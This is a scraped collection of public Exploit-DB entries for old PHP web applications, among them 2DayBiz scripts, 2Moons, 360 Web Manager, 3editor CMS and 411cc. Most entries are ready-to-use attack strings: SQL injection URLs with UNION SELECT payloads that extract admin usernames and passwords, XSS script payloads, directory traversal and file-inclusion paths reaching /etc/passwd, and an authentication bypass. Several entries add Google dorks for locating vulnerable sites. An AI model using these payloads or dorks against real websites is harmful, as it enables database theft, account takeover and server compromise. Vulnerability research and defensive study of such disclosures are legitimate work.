deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14008
Description: 2DayBiz Matrimonial Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-23
Author: JaMbA

Exploit:
# Exploit Title:   2daybiz matrimonial script  SQL injection Vulnerability
# Date: 23/06/2010
# Author: JaMbA
# Script url: http://www.2daybiz.com/matrimonial_script.html
# Version: N/A
# Tested on: Windows
# CVE : ()

:::::::::::::::::::::::::

:::::::::::::::::::::::::

=================Exploit======
============



[ EXPL0!T ]

 http://server/path/customprofile.php?id=62(SQL)



===========================================================

Greetz to : Alnjm33-virus-pal - Predator-Ahmadso - xXx-jago-dz
-inejcteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ====
Exploit-DB #14005
Description: 2DayBiz MLM Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-23
Author: JaMbA

Exploit:
# Script url: http://www.2daybiz.com/MLM.html
# Version: N/A
:::::::::::::::::::::::::

:::::::::::::::::::::::::

=================Exploit==================



[ EXPL0!T ]

http://server/path/viewnews.php?nwsid=7(SQL)



===========================================================

Greetz to : Alnjm33-virus-pal - Predator-Ahmadso - xXx-jago-dz
-inejcteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ====
Exploit-DB #13894
Description: 2DayBiz Online Classified System - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-16
Author: Sid3^effects

Exploit:
Name : 2daybiz online classified system SQLi AND XSS Vulnerability
Date : june, 16 2010
Vendor url :http://www.2daybiz.com/online_classified_script.html
Critical Level 	: HIGH
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
DESCRIPTION:
2daybiz online classified system allows you to start a fully automated classified ads site that includes essential features present in major classifieds sites. Our powerful script written in PHP allows your users to post new ads, for which you can charge a predefined amount. Billing is handled automatically and seamlessly through many of the popular payment gateways. Our classified ads software is fast, simple and fully customized through our built-in editor.

#######################################################################################################
Xploit: SQLI Vulnerability 

DEMO URL : http://[site]/products/orkutclone/view_photo.php?page=3&alb=[SQLI]
###############################################################################################################
Xploit: XSS Vulnerability 

Attack Pattern: '"--><script>alert(0x000872)</script>
DEMO URL :http://[site]/products/classified/headersearch.php?sid=[XSS]
###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #14015
Description: 2DayBiz Photo Sharing Script - SQL Injection (1)
Type: webapps
Platform: php
Date: 2010-06-24
Author: JaMbA

Exploit:
# Exploit Title: photo sharing script SQL injection Vulnerability
# Date: 24/06/2010
# Author: JaMbA
# Script url: http://www.2daybiz.com/photosharing_script.html
# Version: N/A
# Tested on: Windows
# CVE : ()

:::::::::::::::::::::::::

:::::::::::::::::::::::::

=================Exploit======
============



[ EXPL0!T ]

http://server/path/freesearch.php?search=2(SQL)



===========================================================

Greetz to : Alnjm33-virus-pal - Predator-Ahmadso - xXx-jago-dz
-inejcteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ====
Exploit-DB #14019
Description: 2DayBiz Real Estate Portal - 'viewpropertydetails.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-24
Author: Sangteamtham

Exploit:
$-------------------------------------------------------------------------------------------------------------------
$ 2daybiz Real Estate Portal "viewpropertydetails.php" SQL injection
$ Author : Sangteamtham
$ Home : Hcegroup.net
$ Download :http://www.2daybiz.com/realestate_portalscript.html
$ Date :06/24/2010
$
$******************************************************************************************
$Exploit:
$
$ http://server/viewpropertydetails.php?id=[id number][SQL]
$
$ Greetz to: All Vietnamese hackers and Hackers out there researching for
more security
$
$
$--------------------------------------------------------------------------------------------------------------------
Exploit-DB #14020
Description: 2DayBiz The Web Template Software - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-24
Author: Sangteamtham

Exploit:
$-------------------------------------------------------------------------------------------------------------------
$ 2daybiz - The Web Template Software SQL injection and XSS vulnerability
$ Author : Sangteamtham
$ Home : Hcegroup.net
$ Download :http://www.2daybiz.com/webtemplatesoftware.html
$ Date :06/24/2010
$ Email :sangteamtham@gmail.com
$
$******************************************************************************************

1.SQL injection
http://server/customize.php?tid=[id]+[SQL]

2.XSS

2.a : search products module

Here is my header:

http://www.2daytemplates.com/category.php

POST /category.php HTTP/1.1
Host: www.2daytemplates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.4)
Gecko/20100611 Firefox/3.6.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.2daytemplates.com/category.php
Cookie: PHPSESSID=j2bddq540saph1ve83gqii4276
Content-Type: application/x-www-form-urlencoded
Content-Length: 168
category=0&product=0&keyword=[XSS
here]&itemno=ssss&templates_per_page=9&search=Search

2.b: Login module

http://www.2daytemplates.com/memberlogin.php

POST /memberlogin.php HTTP/1.1
Host: www.2daytemplates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.4)
Gecko/20100611 Firefox/3.6.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.2daytemplates.com/memberlogin.php
Cookie: PHPSESSID=j2bddq540saph1ve83gqii4276
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
email=sangteamtham_hce%40ymail.com&password=[XSS Here]opage=&Submit=Login

XSS here such as:
">">

$******************************************************************************************
$Demo:
$ http://<server>/customize.php?tid=1314+and+1=1--
$ http://<server>/customize.php?tid=1314+and+1=0--
$
$
$
$******************************************************************************************
$ Greetz to: All Vietnamese hackers and Hackers out there researching for
more security
$
$
$--------------------------------------------------------------------------------------------------------------------
Exploit-DB #14018
Description: 2DayBiz Video Community Portal - 'user-profile.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-24
Author: Sangteamtham

Exploit:
$-------------------------------------------------------------------------------------------------------------------
$ 2daybiz Video Community portal"user-profile.php" SQL injection
$ Author : Sangteamtham
$ Home : Hcegroup.net
$ Download :http://www.2daybiz.com/videocommunity_portalscript.html
$ Date :06/24/2010
$
$******************************************************************************************
$Exploit:
$
$ http://server/user-profile.php?userid=[id number][SQL]
$
$******************************************************************************************
$ Greetz to: All Vietnamese hackers and Hackers out there researching for
more security
$
$
$--------------------------------------------------------------------------------------------------------------------
Exploit-DB #34153
Description: 2DayBiz ybiz Network Community Script - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-16
Author: Sid3^effects

Exploit:
source: https://www.securityfocus.com/bid/40913/info

2daybiz Network Community Script is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example URIs are available:

SQL Injection:

http://www.example.com/products/orkutclone/view_photo.php?page=3&alb=[SQLI]

Cross site Scripting:

http://www.example.com/products/orkutclone/scrapbook.php?id=[XSS]
Exploit-DB #36223
Description: 2Moons 1.4 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2011-10-11
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/50046/info

2Moons is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

2Moons 1.4 is vulnerable; other versions may also be affected.

http://www.example.com/2Moons/CombatReport.php?RID=[EV!L]
http://www.example.com/2Moons/includes/common.php?UNI=[EV!L]
http://www.example.com/2Moons/includes/classes/class.FlyingFleetHandler.php?MissionsPattern[CurrentFleet[fleet_mission]]=[EV!L]
http://www.example.com/2Moons/includes/classes/class.FlyingFleetHandler.php?CurrentFleet[fleet_mission]]=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?Lang=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?File=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?File=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?LANGUAGE=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Lang.php?File=[EV!L]
http://www.example.com/2Moons/includes/classes/class.Records.php?File=[EV!L]
http://www.example.com/2Moons/includes/pages/ShowTopKB.php?ReportID=[EV!L]
http://www.example.com/2Moons/includes/libs/Smarty/Smarty.class.php?file=[EV!L]
http://www.example.com/2Moons/includes/pages/adm/ShowModVersionPage.php?File=[EV!L]
http://www.example.com/2Moons/includes/libs/Smarty/sysplugins/smarty_internal_resource_php.php?_smarty_template=[EV!L]
http://www.example.com/2Moons/includes/libs/Smarty/sysplugins/smarty_internal_templatecompilerbase.php?file=[EV!L]
Exploit-DB #17445
Description: 2Point Solutions - 'cmspages.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-06-23
Author: Newbie Campuz

Exploit:
=============================================
2Point Solutions SQL Injection Vulnerability
=============================================


#################################################################################################

[+] Exploit Title : 2Point Solutions (cmspages.php) SQL Injection Vulnerability

[+] Author : Newbie_Campuz

[+] Published: 2011-06-24 : 02.54 WIB

[+] Test On : Windows XP SP3 

[+] www.jatimcrew.org/

##################################################################################################

# Script Vendor Homepage:
# http://www.2pointsolutions.com/

[+]Dork: "2point solutions"  cmspages.php?id=

[+] SQL Injection


	http://[target]/cmspages.php?id=[SQL]

	
Demo : 	

http://www.site.com/cmspages.php?id=-43+union+select 1,2,group_concat(FName,0x3a,password),4+from+admin--

##################################################################################################
Thanks to Allah SWT n Nabi Muhammad SAW

Special Thanks to : 	
My Parent, My Brother n My Sisters
Byz9991, Doraemon, CrackerManado, Kenthot_cakep, Andalas_oku, Dim_Chaz, Shamus, Chapzha,  phoenixhaxor, mywisdom, 
inc0mpl3te, Pr3tty, newbie_043, KidDevilz, r1pp3rm4ya , XcyberX, flyff666, MISTERFRIBO, Osean, Vhacx,jamsh0ut, 
cybermuttaqin, k3m4ngi, afa, roentah, zh0mbh1e, techno_x46, cyberd0s, Ficarciruas, elfata, bhotar, edo_pranata
Mawar_JatimCrew, -Love Pink, Husna, Chibob_jatimcrew, kucing_raden... and YOU... !!!

All admin, momod, spamguard, staff and members Jatim Crew..
All admin, momod, spamguard, staff and members Xteamweb
All admin, momod, spamguard, staff and members crackermanado
All admin, momod, spamguard, staff and members Pekanbaru Cyber Team..

##################################################################################################
Exploit-DB #9459
Description: 2WIRE Gateway - Authentication Bypass / Password Reset (2)
Type: webapps
Platform: php
Date: 2009-08-18
Author: bugz

Exploit:
2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET - Part 2 (08/15/09)


DESCRIPTION
-----------------
Additional to the authentication bypass exploit page submitted by hkm.


EXPLOIT/POC

-----------------
Authentication Bypass - just use this page to set a new password

http://gateway.2wire.net/setup/password_required.html



bugz

# milw0rm.com [2009-08-18]
Exploit-DB #30079
Description: 2z Project 0.9.5 - 'rating.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/24122/info

2z Project is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability could allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

2z Project 0.9.5 is reported vulnerable; other versions may also be affected. 

http://www.example.com/2zcms/?category=none&altname=testnews&rating=xxx
Exploit-DB #27803
Description: 321soft PHP-Gallery 0.9 - 'index.php?path' Arbitrary Directory Listing
Type: webapps
Platform: php
Date: 2006-05-03
Author: d4igoro

Exploit:
source: https://www.securityfocus.com/bid/17812/info

PhP-Gallery is prone to an information-disclosure vulnerability and a cross-site scripting vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application or to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?path=/etc
http://www.example.com/index.ph?path=/tmp
Exploit-DB #27804
Description: 321soft PHP-Gallery 0.9 - 'index.php?path' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-03
Author: d4igoro

Exploit:
source: https://www.securityfocus.com/bid/17812/info
 
PhP-Gallery is prone to an information-disclosure vulnerability and a cross-site scripting vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application or to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?path=[XSS]
Exploit-DB #10611
Description: 35mm Slide Gallery - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-23
Author: indoushka

Exploit:
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : powered by 35mm Slide Gallery (http://www.andymack.com/freescripts/)    |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://localhost/slideshowgallery/popup.php?img=imagefolder1%2Fkoalalikefather%2Ejpg&w=215&h=162&t=hacked-by-indoushka</title><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #10614
Description: 35mm Slide Gallery - Directory Traversal
Type: webapps
Platform: php
Date: 2009-12-23
Author: Mr.tro0oqy

Exploit:
email: t.4@windowslive.com


dork:powered by 35mm Slide Gallery
intitle:35mm Slide Gallery


exp :

http://server/path/index.php?imgdir=../../

Greetz : exploit-db ..
Exploit-DB #4944
Description: 360 Web Manager 3.0 - 'IDFM' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-20
Author: Ded MustD!e

Exploit:
360 Web Manager CMS Remote SQL Injection Vulnerability

Author: Ded MustD!e

Site: http://www.360webmanager.com/

Google Dork: inurl:"IDFM=" "form.php"

Exploit: http://site.com/form.php?IDM=7&IDSM=20&IDFM=-1+union+select+1,concat_ws(0x3a,name,password),3,4
,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+user/*

Example: http://www.360webmanager.com/form.php?IDM=2&IDSM=24&IDFM=-1+union+select+1,concat_ws(0x3a,name,password),3,4
,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+user/*  =)))

Details: number of columns may be >20, admin panel - http://www.site.com/adm/login.php

# milw0rm.com [2008-01-20]
Exploit-DB #34043
Description: 360 Web Manager 3.0 - 'webpages-form-led-edit.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-24
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40378/info

360 Web Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

360 Web Manager 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/adm/content/webpages/webpages-form-led-edit.php?IDFM=-1+ANY_SQL_HERE+--+
Exploit-DB #17198
Description: 360 Web Manager 3.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-22
Author: Ignacio Garrido

Exploit:
# Exploit Title: Multiple vulnerabilities in 360 Web Manager 3.0
# Google Dork: "Powered by 360 Web Manager 3.0"
# Date: 15/04/2011
# Author: Ignacio Garrido
# Contact: Ign.sec@gmail.com
# Software Link: www.360webmanager.com
# Version: v3.0
# Tested on: Linux *2.6.18*

#Vulnerability description:

360 Web Manager 3.0 makes use of a panel manager which uses a simple file
manager, this script don't require any authorization at all to upload, list,
or even delete files.

We can find this panel at: http://
[site]/adm/barra/assetmanager/assetmanager.php.

By looking the source code we can find the internal path of the application
right next to:"<input type="hidden" name="inpAssetBaseFolder0"
id="inpAssetBaseFolder0"
value=""

Trough a forged post we can manipulate the path of the folder to list or
delete: inpFileToDelete=%2FfileToDelete%2F&inpCurrFolder=%2FpathToList%2F

Also when uploading a file we can easily change the path of the folder by
changing the "inpCurrFolder2" parameter (there's no restriction to upload
php files!).


Possible solutions:

*Use the admin panel session to authenticate the use of the file manager.

*Forbid the upload of files with dangerous extensions such as .php,.php5,
etc.

*Give the appropriate permissions to read files within its own file
directory.
Exploit-DB #2982
Description: 3editor CMS 0.42 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2006-12-22
Author: 3l3ctric-Cracker

Exploit:
************************************************************************     
*script Name: 3editor CMS (index.php) Local File Include Exploit       *
*Download:http://www.matteolucarelli.net/3editor/index.htm             *
*[Author      : Dr Max Virus                                           *
*[Contact     :drmaxvirus@w.cn                                         *
************************************************************************
*Bug & Problem                                                         *
*In file index.php Let's Take a look;                                  *
*if (!isset($_GET['page'])) include('phplib/treeedit.php');            *
*else include('phplib/'.$_GET['page']);                                *
************************************************************************
*As We can see the variable of page is not sanitized So attacker can   *
*apply his bug when:                                                   *
*register_globals=on                                                   *
************************************************************************
*POC Example:                                                          *
*http://[target]/[path]/index.php?page=../../../../../etc/passwd       *
************************************************************************
*Thx:str0ke -koray -ajann -Timq -r0ut3r -All my Friends                *
*special gr33ts:AsianEagle -The master -Kacper -Hotturk                *
************************************************************************

# milw0rm.com [2006-12-22]
Exploit-DB #15276
Description: 411cc - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-10-18
Author: KnocKout

Exploit:
===================================================================
411CC e-Commerce <= String(') SQL Injection Vulnerabilities
===================================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : 411CC e-Commerce
~Version : N/A
~Software: http://www.411cc.com/
~Vulnerability Style : SQL Injection
~Vulnerability Dir : CCART/customer/
~Google Keyword : "Powered By: 411CC"
~SQL Method : MSSQL no error
~String : '
[~]Date : "18.10.2010"
[~]Tested on : (L):Vista, (R):PHP/4.3.9

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
    ~~~~~~~~ Explotation ~~~~~~~~~~~
    String (') SQL Injection Attack..
    http://VICTIM/cccart/customer/home.php?cat=59' {SQL Injection}
    http://VICTIM/cccart/customer/home.php?cat=59' HAVING 1=1/*
    http://VICTIM/cccart/customer/product.php?productid=' {SQL Injection}
    http://VICTIM/cccart/customer/product.php?productid='%27%20having%201=1/*
    ================================
    
     GoodLUCK.